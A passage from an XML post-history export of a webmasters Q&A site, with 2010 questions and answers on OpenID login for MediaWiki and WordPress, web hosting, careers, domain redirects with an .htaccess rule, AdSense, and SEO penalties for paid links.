support and they said that they will not install mod_encoding, and that GMP is already installed.&#xD;&#xA;&#xD;&#xA;2) [MediaWiki with MultiAuthPlugin][6] against [simpleSAMLphp][7].  I think I partially have simpleSAMLphp working, but it is not clear to me what I need to do to make it an OpenID consumer -- its over my head.&#xD;&#xA;&#xD;&#xA;Then I decided that if I could authenticate against WordPress, I could use a MediaWiki extension to use that information to log people in.&#xD;&#xA;&#xD;&#xA;3) [WordPress OpenID plugin][8].  Everything appeared to install correctly that is needed for OpenID consumption, although it didn't appear to work.  I suspect it uses the php-openid library.  I'm not sure how to debug it.  More to the point, it just offers an OpenID textbox, which is not friendly for people who have no idea what it is -- I'd like buttons!&#xD;&#xA;&#xD;&#xA;4)  [Google Friend Connect for WordPress][9].  This is the first I've heard of friend connect.  It was not clear that one was authenticated to do more than comment, and the intention is to be some sort of &quot;social media&quot; overlay on your site -- not what I had in mind.&#xD;&#xA;&#xD;&#xA;5)  [Gigya Socialize for WordPress.][10]  Finally, a nice login using buttons and OpenID.  (Mind you, when I tried to log in using it, it told me, &quot;New user access is currently disabled for this site.&quot;)  This is pretty slick, but:&#xD;&#xA;&#xD;&#xA;- when I try to log in using my Google or Yahoo accounts, it asks for my contacts!  There is no way that it is acceptable for my users to give up contact information to a third party just to log into my site.&#xD;&#xA;- As I am authenticating, there is very little indication that this is authenticating me to my site; instead, it appears that the request is for Gigya.&#xD;&#xA;- If my site becomes really popular, I'll have to pay money to allow people to log in!&#xD;&#xA;&#xD;&#xA;I haven't completed setting up [JanRain Engage for WordPress][11], but I think it will be much the same as Gigya.&#xD;&#xA;&#xD;&#xA;--------&#xD;&#xA;&#xD;&#xA;How can I have a unified, single sign-in for a group of related sites on the same domain, using OpenID and friendly google, yahoo, twitter, etc., buttons, which authenticates directly from my domain (ie. without claiming to be from a third party)?  Barring that, how can I get users to log into MediaWiki using OpenID (without changing web hosts)?  *Edit:* Are there any wikis you would recommend that already have a nice OpenID login feature?&#xD;&#xA;&#xD;&#xA;I am happy to provide further details on my adventures so far.  I am also a programmer, albeit not a web-programmer, quite familiar with python, and knowing enough Perl, PHP, and Ruby that I could hack on a near-solution to make it work.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mediawiki.org/wiki/MediaWiki&#xD;&#xA;  [2]: http://vanillaforums.org/&#xD;&#xA;  [3]: http://www.dotnetopenauth.net/&#xD;&#xA;  [4]: http://www.mediawiki.org/wiki/Extension:OpenID&#xD;&#xA;  [5]: http://www.janrain.com/openid-enabled&#xD;&#xA;  [6]: http://www.mediawiki.org/wiki/Extension:MultiAuthPlugin&#xD;&#xA;  [7]: http://simplesamlphp.org/&#xD;&#xA;  [8]: http://wordpress.org/extend/plugins/openid&#xD;&#xA;  [9]: http://demo02.globant.com/wp_native_comments&#xD;&#xA;  [10]: http://wiki.gigya.com/050_Socialize_Plugins/030_Wordpress_Plugin&#xD;&#xA;  [11]: http://groups.google.com/group/rpx-developers/web/wordpress-plugin" />
  <row Id="6788" PostHistoryTypeId="2" PostId="3462" RevisionGUID="bf6dcd3e-1367-4f19-9bb5-54c86343e157" CreationDate="2010-10-01T19:33:43.570" UserId="737" Text="Looking for a good host for a project on Win2008 and PostgreSQL.&#xD;&#xA;I found these 2 sites but they support older versions of PostgreSQL.&#xD;&#xA;&#xD;&#xA;[http://www.jodohost.com/][1]&lt;br/&gt;&#xD;&#xA;[http://www.gbehost.com/][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Does anyone have any good suggestions?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.jodohost.com/windows.asp&#xD;&#xA;  [2]: http://www.gbehost.com/" />
  <row Id="6789" PostHistoryTypeId="1" PostId="3462" RevisionGUID="bf6dcd3e-1367-4f19-9bb5-54c86343e157" CreationDate="2010-10-01T19:33:43.570" UserId="737" Text="A good host that supports windows 2008 &amp; PostgreSQL?" />
  <row Id="6790" PostHistoryTypeId="3" PostId="3462" RevisionGUID="bf6dcd3e-1367-4f19-9bb5-54c86343e157" CreationDate="2010-10-01T19:33:43.570" UserId="737" Text="&lt;web-hosting&gt;" />
  <row Id="6791" PostHistoryTypeId="2" PostId="3463" RevisionGUID="d145cf68-5923-410b-b7d1-4a9e19d31f26" CreationDate="2010-10-01T19:39:33.833" UserId="1265" Text="Probably one of the best Windows hosts out there: [http://www.arvixe.com/][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.arvixe.com/" />
  <row Id="6792" PostHistoryTypeId="2" PostId="3464" RevisionGUID="30055526-147c-4a6d-a494-ba2d08b7abdc" CreationDate="2010-10-01T20:24:13.807" UserId="132" Text="I use &lt;a href=&quot;http://wordpress.org/extend/plugins/syntaxhighlighter-plus/&quot;&gt;SyntaxHighlighter Plus&lt;/a&gt;. Hasn't been updated in some time, but still works. Supports a decent variety of languages, more than enough for my needs. Based on the &lt;a href=&quot;http://code.google.com/p/syntaxhighlighter/&quot;&gt;SyntaxHighlighter&lt;/a&gt; package by Alex Gorbatchev." />
  <row Id="6793" PostHistoryTypeId="16" PostId="3407" RevisionGUID="fc27ce95-f7dd-4e94-b5ab-8c4c6249181d" CreationDate="2010-10-01T20:36:21.397" UserId="180" />
  <row Id="6794" PostHistoryTypeId="2" PostId="3465" RevisionGUID="7c2d007f-eff7-4b7b-97e0-095197f60176" CreationDate="2010-10-01T22:50:27.410" UserDisplayName="russjman" Text="I looking to branch up and out of my career, but i don't know what direction to take that is a good match for my skills, and will lead to higher pay.&#xD;&#xA;&#xD;&#xA;Experience:&#xD;&#xA;&#xD;&#xA; - Dabbled with OpenGL, Java, and C in&#xD;&#xA;   college &#xD;&#xA; - Graduated college with a &quot;design/art/computer&quot; degree with emphasis in programming&#xD;&#xA; - Webmaster of JC Newspaper website&#xD;&#xA; - Project Manager/PHP Developer in an&#xD;&#xA;   SEO company&#xD;&#xA; - Junior Developer in a Web Design Firm(current)&#xD;&#xA; - Started Current job building &quot;cookie-cutter&quot; sites hand coding CSS, HTML, light Javascript PHP, working with cross-browser compatibility issues&#xD;&#xA; - Rebuilt &quot;cookie-cutter&quot; framework in&#xD;&#xA;   MySql, PHP, Xtemplate, which is what&#xD;&#xA;   is in use for all &quot;lower-level&quot;&#xD;&#xA;   builds.&#xD;&#xA; - Moved up to doing custom websites for higher end clients using Python and Django, a little Wordpress customization, Joomla. Picked up development in Linux along the way&#xD;&#xA; - Also do light system admin / web admin across our web servers setting up virtual host entires, permissions, light name server management.&#xD;&#xA;&#xD;&#xA;So my issue is that i dont know where to jump off to from here. I dont feel like i am being compensated enough for what i do/know ($36k/year), but has been worth the lack in pay with the experience that i've gained.  Lately ive asked to be exposed more to System Admin stuff in hopes of eventually getting an actual Sys Admin job.  Im planning to take some JC classes in the near future as well to further this goal. So what other avenues for growth are there from where im standing in my career?&#xD;&#xA;" />
  <row Id="6795" PostHistoryTypeId="1" PostId="3465" RevisionGUID="7c2d007f-eff7-4b7b-97e0-095197f60176" CreationDate="2010-10-01T22:50:27.410" UserDisplayName="russjman" Text="What is the next step up in my IT career?" />
  <row Id="6796" PostHistoryTypeId="3" PostId="3465" RevisionGUID="7c2d007f-eff7-4b7b-97e0-095197f60176" CreationDate="2010-10-01T22:50:27.410" UserDisplayName="russjman" Text="&lt;website-design&gt;&lt;web-development&gt;&lt;php&gt;&lt;django&gt;&lt;python&gt;" />
  <row Id="6797" PostHistoryTypeId="10" PostId="3465" RevisionGUID="c052822b-e62f-4552-96f6-8ee70dd04673" CreationDate="2010-10-02T04:06:34.317" UserId="-1" CloseReasonId="2" Text="[{&quot;Id&quot;:1979,&quot;DisplayName&quot;:&quot;jmb&quot;},{&quot;Id&quot;:46,&quot;DisplayName&quot;:&quot;rchern&quot;},{&quot;Id&quot;:180,&quot;DisplayName&quot;:&quot;JasonBirch&quot;}]" />
  <row Id="6798" PostHistoryTypeId="2" PostId="3466" RevisionGUID="4e813872-9eee-49d0-bfb2-d149854df1c7" CreationDate="2010-10-02T05:36:34.323" UserId="2184" Text="I have a blog at http://afsharm.blogspot.com. How can I have this blog and all old posts, comments and templates in my own domain like http://myowndomain.com/?&#xD;&#xA;&#xD;&#xA;Which specifications this domain must have?&#xD;&#xA;" />
  <row Id="6799" PostHistoryTypeId="1" PostId="3466" RevisionGUID="4e813872-9eee-49d0-bfb2-d149854df1c7" CreationDate="2010-10-02T05:36:34.323" UserId="2184" Text="How to have a blogspot blog in my domain?" />
  <row Id="6800" PostHistoryTypeId="3" PostId="3466" RevisionGUID="4e813872-9eee-49d0-bfb2-d149854df1c7" CreationDate="2010-10-02T05:36:34.323" UserId="2184" Text="&lt;blog&gt;&lt;blogger&gt;" />
  <row Id="6801" PostHistoryTypeId="2" PostId="3467" RevisionGUID="0d8dd56c-f9e8-44e8-8635-252cb69e54d3" CreationDate="2010-10-02T08:32:24.217" UserId="661" Text="All covered in the [blogger documentation][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/blogger/bin/answer.py?hl=en&amp;answer=55373" />
  <row Id="6802" PostHistoryTypeId="2" PostId="3468" RevisionGUID="fb374391-b416-4e27-8a1a-bbfd06124351" CreationDate="2010-10-02T08:37:02.013" UserId="480" Text="The complete list of theme CSS files to include is on http://webmasters.stackexchange.com/questions/1256/where-can-i-find-the-full-list-of-google-microsoft-cdn-hosted-ajax-files" />
  <row Id="6803" PostHistoryTypeId="2" PostId="3469" RevisionGUID="45baee40-4cb6-4980-90eb-2b1730765d44" CreationDate="2010-10-02T09:22:43.017" UserId="480" Text="Not exactly what you asked for, but I love the live watch mode of [less.js][1].&#xD;&#xA;&#xD;&#xA;Generally I just mock up any elements/combinations in whatever flavour of HTML or XHTML is required manually, but you can create your own master document of elements. If you plug in a second monitor (or two, three, etc) to open up all the browsers on (or use a second computer), any changes you save are applied live to all of them at once.&#xD;&#xA;&#xD;&#xA;LessCSS syntax can be used alongside ordinary CSS but is faster to work with and easy to pick up (the results can be converted into normal CSS afterwards).&#xD;&#xA;&#xD;&#xA;Tools such as [Aviary][2] allow you to easily take screen shots (including the automation of stitching together of ones below the scroll line), which can be quickly annotated (on line with shareable links) or saved and compared in another tool (such as [Photoshop][3], [GIMP][4], [Paint.NET][5], etc) by overlaying them as layers and altering the transparency of the one on top.&#xD;&#xA;&#xD;&#xA;  [1]: http://fadeyev.net/2010/06/19/lessjs-will-obsolete-css/&#xD;&#xA;  [2]: http://www.aviary.com/&#xD;&#xA;  [3]: http://www.photoshop.com/products&#xD;&#xA;  [4]: http://www.gimp.org/&#xD;&#xA;  [5]: http://www.getpaint.net/" />
  <row Id="6804" PostHistoryTypeId="2" PostId="3470" RevisionGUID="35d20eaa-6645-4c72-990b-1a7d1e49eb9a" CreationDate="2010-10-02T09:58:29.140" UserDisplayName="lawrence" Text="What I really mean is i don't get how these smaller but still popular video/tube sites make money. They host their own videos not embedded ones. How do they afford the bandwidth? if bandwidth is 0.18 cents per GB(don't know if that is expensive), 18$ per 100GB, each video an avarage size of 50mb, 2000 video views = 18$? how do you make more than 18 on 2000 views?&#xD;&#xA;&#xD;&#xA;How do you make money with a smaller video site?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6805" PostHistoryTypeId="1" PostId="3470" RevisionGUID="35d20eaa-6645-4c72-990b-1a7d1e49eb9a" CreationDate="2010-10-02T09:58:29.140" UserDisplayName="lawrence" Text="How to make money with video site?" />
  <row Id="6806" PostHistoryTypeId="3" PostId="3470" RevisionGUID="35d20eaa-6645-4c72-990b-1a7d1e49eb9a" CreationDate="2010-10-02T09:58:29.140" UserDisplayName="lawrence" Text="&lt;web-hosting&gt;&lt;video&gt;&lt;bandwidth&gt;" />
  <row Id="6807" PostHistoryTypeId="5" PostId="3469" RevisionGUID="35cc884f-6ba1-4ce6-b8c2-330f2e077958" CreationDate="2010-10-02T10:45:49.200" UserId="480" Comment="fixed grammar" Text="Not exactly what you asked for, but I love the live watch mode of [less.js][1].&#xD;&#xA;&#xD;&#xA;Generally I just mock up any elements/combinations in whatever flavour of HTML or XHTML is required manually, but you can create your own master document of elements. If you plug in a second monitor (or two, three, etc) to open up all the browsers on (or use a second computer), any changes you save are applied live to all of them at once.&#xD;&#xA;&#xD;&#xA;LessCSS syntax can be used alongside ordinary CSS but is faster to work with and easy to pick up (the results can be converted into normal CSS afterwards).&#xD;&#xA;&#xD;&#xA;Tools such as [Aviary][2] allow you to easily take screen shots (including the automation of scrolling down and stitching), which can be quickly annotated (on-line with shareable links) or saved and compared in another tool (such as [Photoshop][3], [GIMP][4], [Paint.NET][5], etc) by overlaying them as layers and altering the transparency of the one on top.&#xD;&#xA;&#xD;&#xA;**Edit:**&#xD;&#xA;&#xD;&#xA;If you want to automate the screen shot process (on file save) so that:&#xD;&#xA;&#xD;&#xA;* when a problem occurs you already have everything to hand&#xD;&#xA;* an image can be added to version control (which too can be automated on file save)&#xD;&#xA;* you can concentrate on the CSS instead periphery activities&#xD;&#xA;&#xD;&#xA;then you can use something like a [file watcher][6] (please excuse the Python orientation, there are plenty of other solutions) with a [screen grabber][7]. Post processing can also be automated and if you use consistent window positions (a program/desktop environment can aid this) the &quot;chrome&quot; around browsers can be chopped off as part of the script.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://fadeyev.net/2010/06/19/lessjs-will-obsolete-css/&#xD;&#xA;  [2]: http://www.aviary.com/&#xD;&#xA;  [3]: http://www.photoshop.com/products&#xD;&#xA;  [4]: http://www.gimp.org/&#xD;&#xA;  [5]: http://www.getpaint.net/&#xD;&#xA;  [6]: http://stackoverflow.com/questions/182197/how-do-i-watch-a-file-for-changes-using-python&#xD;&#xA;  [7]: http://www.blendedtechnologies.com/quick-screenshots-script-python-pil/38" />
  <row Id="6808" PostHistoryTypeId="6" PostId="2973" RevisionGUID="54eb3049-607b-4f20-abf9-30db01f51ed6" CreationDate="2010-10-02T11:31:19.590" UserId="1979" Comment="edited tags" Text="&lt;google-adsense&gt;&lt;a-b-testing&gt;" />
  <row Id="6809" PostHistoryTypeId="2" PostId="3471" RevisionGUID="61cca9d1-28de-43a2-8a45-c15e03a2f7d5" CreationDate="2010-10-02T12:20:27.760" UserId="1685" Text="Here's the scenario. A local news paper company approached me in creating a news portal for him. But instead of paying me for the development we would just be sharing on the website's earning. &#xD;&#xA;&#xD;&#xA;Now, we really don't have an idea on how much we can earn on the website because it would be our first time. So he just told me to create a proposal for him, so he could approve the idea. &#xD;&#xA;&#xD;&#xA;1st Question:&#xD;&#xA;&#xD;&#xA;My question is what do you think is the proper percentage in splitting up the revenue? (60% for me - 40% for the company is I have in mind...)&#xD;&#xA;&#xD;&#xA;2nd Question:&#xD;&#xA;&#xD;&#xA;Since we're planning to get the revenue from ads (Adsense and Clickbank), How can we make sure we do proper splitting? Are we gonna be creating a company's account for every Ad company? or we just need to trust each other?&#xD;&#xA;&#xD;&#xA;3rd Question: &#xD;&#xA;&#xD;&#xA;Is there any suggestions?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I hope my question is in the right section. I would also make this as a wiki, since i'm not looking for a definitive answer.&#xD;&#xA;&#xD;&#xA;Thanks! " />
  <row Id="6810" PostHistoryTypeId="1" PostId="3471" RevisionGUID="61cca9d1-28de-43a2-8a45-c15e03a2f7d5" CreationDate="2010-10-02T12:20:27.760" UserId="1685" Text="Need a suggestion for sharing revenue on a news paper website" />
  <row Id="6811" PostHistoryTypeId="3" PostId="3471" RevisionGUID="61cca9d1-28de-43a2-8a45-c15e03a2f7d5" CreationDate="2010-10-02T12:20:27.760" UserId="1685" Text="&lt;web-development&gt;&lt;google-adsense&gt;&lt;clients&gt;" />
  <row Id="6812" PostHistoryTypeId="16" PostId="3471" RevisionGUID="61cca9d1-28de-43a2-8a45-c15e03a2f7d5" CreationDate="2010-10-02T12:20:27.760" UserId="1685" />
  <row Id="6813" PostHistoryTypeId="2" PostId="3472" RevisionGUID="7ceca810-d67b-4677-b6d6-0e47a8b77a2d" CreationDate="2010-10-02T12:45:40.017" UserId="2235" Text="&#xD;&#xA;&#xD;&#xA;I typed the following on Google: (1) site: uniquevolve.com (2) site: uniquevolve.com.au&#xD;&#xA;&#xD;&#xA;Only (2) gets indexed. Is this normal?&#xD;&#xA;&#xD;&#xA;The strange thing is, my Website is actually hosted on the server with domain (1) and domain (2) only redirects to (1).&#xD;&#xA;&#xD;&#xA;How do I get (1) indexed by Google?&#xD;&#xA;&#xD;&#xA;Thank you in advance.&#xD;&#xA;" />
  <row Id="6814" PostHistoryTypeId="1" PostId="3472" RevisionGUID="7ceca810-d67b-4677-b6d6-0e47a8b77a2d" CreationDate="2010-10-02T12:45:40.017" UserId="2235" Text="Site not indexed by Google" />
  <row Id="6815" PostHistoryTypeId="3" PostId="3472" RevisionGUID="7ceca810-d67b-4677-b6d6-0e47a8b77a2d" CreationDate="2010-10-02T12:45:40.017" UserId="2235" Text="&lt;google&gt;&lt;dns&gt;&lt;indexing&gt;" />
  <row Id="6816" PostHistoryTypeId="2" PostId="3473" RevisionGUID="a94b51b8-f245-430c-be31-e4f239fa843d" CreationDate="2010-10-02T12:50:23.673" UserId="1979" Text="Assuming that the business model of the newspaper is partly based on ads, is there a specific reason you want to go with Adsense/Clickbank? A more obvious approach seems to take advantage of the current client base and cross-sell &quot;normal&quot; and online ads. I would assume you could achieve much more revenue per ad this way." />
  <row Id="6817" PostHistoryTypeId="16" PostId="3473" RevisionGUID="a94b51b8-f245-430c-be31-e4f239fa843d" CreationDate="2010-10-02T12:50:23.673" UserId="-1" />
  <row Id="6818" PostHistoryTypeId="6" PostId="3471" RevisionGUID="97bcc2b0-2709-4861-876a-bf2620ac06e3" CreationDate="2010-10-02T12:51:52.360" UserId="1979" Comment="edited tags; edited tags" Text="&lt;google-adsense&gt;&lt;clients&gt;&lt;business-models&gt;" />
  <row Id="6819" PostHistoryTypeId="5" PostId="3471" RevisionGUID="5188c0d2-46a7-43f8-9a66-11169bc7b21a" CreationDate="2010-10-02T13:43:21.243" UserId="1685" Comment="added 502 characters in body" Text="Here's the scenario. A local news paper company approached me in creating a news portal for him. But instead of paying me for the development we would just be sharing on the website's earning. &#xD;&#xA;&#xD;&#xA;Now, we really don't have an idea on how much we can earn on the website because it would be our first time. So he just told me to create a proposal for him, so he could approve the idea. &#xD;&#xA;&#xD;&#xA;1st Question:&#xD;&#xA;&#xD;&#xA;My question is what do you think is the proper percentage in splitting up the revenue? (60% for me - 40% for the company is I have in mind...)&#xD;&#xA;&#xD;&#xA;2nd Question:&#xD;&#xA;&#xD;&#xA;Since we're planning to get the revenue from ads (Adsense and Clickbank), How can we make sure we do proper splitting? Are we gonna be creating a company's account for every Ad company? or we just need to trust each other?&#xD;&#xA;&#xD;&#xA;3rd Question: &#xD;&#xA;&#xD;&#xA;Is there any suggestions?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I hope my question is in the right section. I would also make this as a wiki, since i'm not looking for a definitive answer.&#xD;&#xA;&#xD;&#xA;Thanks! &#xD;&#xA;&#xD;&#xA;[added info] ----------------------------------------------------------&#xD;&#xA;&#xD;&#xA;A small city in the philippines. Total Population is 150,000. &#xD;&#xA;We're not planning to get traffic locally since we will only be getting 20% of it (Most of them don't use computer). &#xD;&#xA;We are planning to get more traffic outside the country.&#xD;&#xA;&#xD;&#xA;Adsense and Clickbank are just what we have in mind. Another is paid post. Other than that we don't know other option to maximize our revenue. Suggestions would be great.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6820" PostHistoryTypeId="2" PostId="3474" RevisionGUID="d0f73a6c-51f2-4267-90f5-a8d4987de123" CreationDate="2010-10-02T13:55:13.713" UserId="1979" Text="Your redirect doesn't seem to be working. I can reach the same content under both domains." />
  <row Id="6821" PostHistoryTypeId="2" PostId="3475" RevisionGUID="bea9dcc9-100e-4a43-87d2-630bb5fa0b39" CreationDate="2010-10-02T13:57:23.820" UserId="2059" Text="Well it isn't redirecting for me.  Going to uniqueevolve.com.au keeps me at the .au domain for sure.  The right way to redirect this for Google to catch on is to do a 301 redirect (I would do it through .htaccess, but it's your call).&#xD;&#xA;&#xD;&#xA;You can then setup an account with Google Webmaster Tools and let them know you've moved to the new domain as well." />
  <row Id="6822" PostHistoryTypeId="2" PostId="3476" RevisionGUID="8e9b5070-929b-4c4f-b1d3-09b28ecd7e59" CreationDate="2010-10-02T16:15:55.633" UserId="1253" Text="1) Choose which domain you want to be indexed and do a [301 redirect][1] to it. If you are running Apache you can do this in an .htaccess file in your root web directory. It would look something like this (assuming uniquevolve.com is the primary domain):&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^(www\.)?uniquevolve\.com\.au$ [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://www.uniquevolve.com/$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;That will solve your duplicate content issues and will be good usability for your users (only one domain to keep track of)&#xD;&#xA;&#xD;&#xA;2) Use [canonical URLs][2]. This may be considered redundant with #1 but you could always use this instead of #1 if you so chose to (although #1 is the better way to go). This tells the search engines which URL is the primary URL and to index that one, not any of the duplicates.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.isitebuild.com/301-redirect.htm&#xD;&#xA;  [2]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="6823" PostHistoryTypeId="2" PostId="3477" RevisionGUID="4b8deb0f-f07e-423b-ba66-2dfe01ecc158" CreationDate="2010-10-02T19:21:20.970" UserId="215" Text="Are there any competitors to Google AppEngine that support apps written for it?" />
  <row Id="6824" PostHistoryTypeId="1" PostId="3477" RevisionGUID="4b8deb0f-f07e-423b-ba66-2dfe01ecc158" CreationDate="2010-10-02T19:21:20.970" UserId="215" Text="Are there any compatible competitors to AppEngine?" />
  <row Id="6825" PostHistoryTypeId="3" PostId="3477" RevisionGUID="4b8deb0f-f07e-423b-ba66-2dfe01ecc158" CreationDate="2010-10-02T19:21:20.970" UserId="215" Text="&lt;recommendations&gt;&lt;google-app-engine&gt;" />
  <row Id="6826" PostHistoryTypeId="2" PostId="3478" RevisionGUID="736e742c-ec27-48fb-9409-66ea784d104e" CreationDate="2010-10-02T19:44:44.100" UserId="2185" Text="I want to display the total amount earned at the right top corner of my desktop if there is any api provided with adsense so that i can use a window application to fetch that information from google. is there any thing available like that?" />
  <row Id="6827" PostHistoryTypeId="1" PostId="3478" RevisionGUID="736e742c-ec27-48fb-9409-66ea784d104e" CreationDate="2010-10-02T19:44:44.100" UserId="2185" Text="how do we read total amount earned from adsense using its api" />
  <row Id="6828" PostHistoryTypeId="3" PostId="3478" RevisionGUID="736e742c-ec27-48fb-9409-66ea784d104e" CreationDate="2010-10-02T19:44:44.100" UserId="2185" Text="&lt;google-adsense&gt;" />
  <row Id="6829" PostHistoryTypeId="2" PostId="3479" RevisionGUID="8295f28b-6b9b-462b-b2ab-236f9945e6dc" CreationDate="2010-10-02T20:06:41.777" UserId="1857" Text="**No.**&#xD;&#xA;&#xD;&#xA;When you write apps to any of the cloud-specific APIs today, you're strongly locked in to the cloud vendor. Google's AppEngine APIs only exist on Google App Engine, and the same is true for Amazon SimpleDB etc.&#xD;&#xA;&#xD;&#xA;The sole exceptions are the 'SQL databases in the cloud', i.e. Amazon RDS (hosted MySQL) and Windows Azure's SQL API (hosted SQL Server).&#xD;&#xA;&#xD;&#xA;You can of course *migrate* all your data to another provider, and re-program your application to work with a different API. But this is a **major** undertaking." />
  <row Id="6830" PostHistoryTypeId="2" PostId="3480" RevisionGUID="2dd14c56-0622-43d4-a156-04551ccdb7e5" CreationDate="2010-10-02T20:31:29.900" UserId="233" Text="I've just signed up to text-link-ads.com, which doesn't appear to use `rel=&quot;nofollow&quot;` on the links. After reading a couple of sources it appears to be against their TOS to add nofollow to the links myself.&#xD;&#xA;&#xD;&#xA;So my question is, what are the downsides of having this type of links? I know Google doesn't like those links, but do they penalize sites for using them?" />
  <row Id="6831" PostHistoryTypeId="1" PostId="3480" RevisionGUID="2dd14c56-0622-43d4-a156-04551ccdb7e5" CreationDate="2010-10-02T20:31:29.900" UserId="233" Text="SEO drawbacks of having paid links without nofollow?" />
  <row Id="6832" PostHistoryTypeId="3" PostId="3480" RevisionGUID="2dd14c56-0622-43d4-a156-04551ccdb7e5" CreationDate="2010-10-02T20:31:29.900" UserId="233" Text="&lt;seo&gt;" />
  <row Id="6833" PostHistoryTypeId="2" PostId="3481" RevisionGUID="5ca7f3df-f397-4689-94b5-0688987003cc" CreationDate="2010-10-02T21:38:25.670" UserId="1253" Text="[Yes, there are penalties.][1] It's best to probably avoid that ad network if you can help it as you would lose the ability to pass PR which includes your interna; pages.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mattcutts.com/blog/text-links-and-pagerank/" />
  <row Id="6834" PostHistoryTypeId="5" PostId="3481" RevisionGUID="7324dfb5-d3e1-4090-a6db-d40d4e7c8ad4" CreationDate="2010-10-02T21:50:52.250" UserId="1253" Comment="edited body" Text="[Yes, there are penalties.][1] It's best to probably avoid that ad network if you can help it as you would lose the ability to pass PR which includes your internal pages.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mattcutts.com/blog/text-links-and-pagerank/" />
  <row Id="6835" PostHistoryTypeId="2" PostId="3482" RevisionGUID="79fada4b-e741-4bc4-9f2e-564f68645f6a" CreationDate="2010-10-03T00:10:57.707" UserId="99" Text="I don't know of any hosting services, but there's an open source implementation called [appscale](http://appscale.cs.ucsb.edu/) that can apparently run on Amazon EC2. I don't have any experience using it, but they claim to be compatible with the Python API version 1.3.2, and Java API version 1.3.5." />
  <row Id="6836" PostHistoryTypeId="5" PostId="2832" RevisionGUID="febf19c6-2288-4dd9-b2a1-cb3bb17cf400" CreationDate="2010-10-03T05:36:18.730" UserId="1064" Comment="Updated per comment suggestion" Text="Sounds like you need to re-visit the tool(s) you're already using - the &quot;free SEO tools&quot; you find in the wild are hardly as accurate or useful as information made available by Google. (Though there is a certain amount of amusement in visiting the #2 search result for &quot;best SEO tool&quot;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; I want to find out keywords that a&#xD;&#xA;&gt; site is optimized for by typing in a&#xD;&#xA;&gt; Url&#xD;&#xA;&#xD;&#xA;Go to the [Adwords Keyword Tool][1] and, in the Website field, enter the URL.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; I want to find out competition (a&#xD;&#xA;&gt; number) for a given phrase or keyword&#xD;&#xA;&gt; - Google Jeyword tool gives a visual bar. I need a number so I can sort the&#xD;&#xA;&gt; data in Excel&#xD;&#xA;&#xD;&#xA;Try &quot;estimated CPC&quot; (which reflects the ***economic*** competition - why bother optimizing for key phrases which aren't worth money?) ...&#xD;&#xA;&#xD;&#xA;... or use the **Download &gt; CSV for Excel** option and presto, that graphical column is converted into a numeric value.&#xD;&#xA;&#xD;&#xA;**Update:**&#xD;&#xA;&#xD;&#xA;&gt; When it does come time to pick your&#xD;&#xA;&gt; keywords, you'll want to pick the&#xD;&#xA;&gt; keywords which are most specific to&#xD;&#xA;&gt; what your site is about (there's no&#xD;&#xA;&gt; sense trying to optimize for the word&#xD;&#xA;&gt; &quot;food&quot; if your site is about &quot;canned&#xD;&#xA;&gt; lutefisk&quot;, for example) and, amongst&#xD;&#xA;&gt; the terms which match what you offer,&#xD;&#xA;&gt; you'll want to pick the terms which&#xD;&#xA;&gt; get the most traffic (and, if you're&#xD;&#xA;&gt; selling something, the terms which&#xD;&#xA;&gt; result in the most purchases).&#xD;&#xA;&#xD;&#xA;Per Virtuosi Media's comments, this proviso was lacking.&#xD;&#xA;&#xD;&#xA;  [1]: https://adwords.google.com/o/Targeting/Explorer" />
  <row Id="6837" PostHistoryTypeId="2" PostId="3483" RevisionGUID="b9e28dea-34d6-4dd8-b780-8e71ac4ed4b9" CreationDate="2010-10-03T08:44:36.287" UserId="427" Text="I think [Pingdom Tools][1] is right up your alley, though it doesn't show that nifty pie chart.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tools.pingdom.com/" />
  <row Id="6838" PostHistoryTypeId="2" PostId="3484" RevisionGUID="4726950e-48f9-4f12-8e2c-e8afea339777" CreationDate="2010-10-03T08:58:32.350" UserId="89" Text="Google, as the most dominant search engine, has the power to kill most on-line businesses - and they have used this power before - so, when you think about doing something Google doesn't like you have to think about the risk on getting caught and see if you can tolerate that risk.&#xD;&#xA;&#xD;&#xA;With an ad network the risk of getting caught is very high, there is standard code you have to add to your page to show the ads and it's trivial for Google to detect it.&#xD;&#xA;&#xD;&#xA;So, it's just a matter of time until Google decides to penalize this network and when they do you will go down with the network - not a good deal in my opinion.&#xD;&#xA;&#xD;&#xA;I myself would never do something Google doesn't like because I'll probably take a serious financial hit if Google penalizes my site." />
  <row Id="6839" PostHistoryTypeId="5" PostId="3479" RevisionGUID="06d115e6-310c-42c7-9d37-12975a992a89" CreationDate="2010-10-03T14:04:48.983" UserId="1857" Comment="added 822 characters in body; added 168 characters in body" Text="**Not really.**&#xD;&#xA;&#xD;&#xA;**Edit:** After Matthew Crumley's excellent answer, I have substantially rewritten this answer (I didn't know about [appscale][1] before).&#xD;&#xA;&#xD;&#xA;When you write apps to any of the cloud-specific APIs today, you're strongly locked in to the cloud vendor. Most of the business value of cloud computing comes from:&#xD;&#xA;&#xD;&#xA; 1. The promise of near-infinite scalability, via scalable storage APIs and easy horizontal scaling.&#xD;&#xA; 2. The reduction in system administration burdens, less time provision new server capacity etc. These benefits combine to make the business more agile and requiring less capital to get started.&#xD;&#xA;&#xD;&#xA;appscale may work very well, but it is far from being a proven and mature technology to build a business on. I'm not aware of a single large-scale appscale installation, and their webpage doesn't list any. So it's prudent to work from the 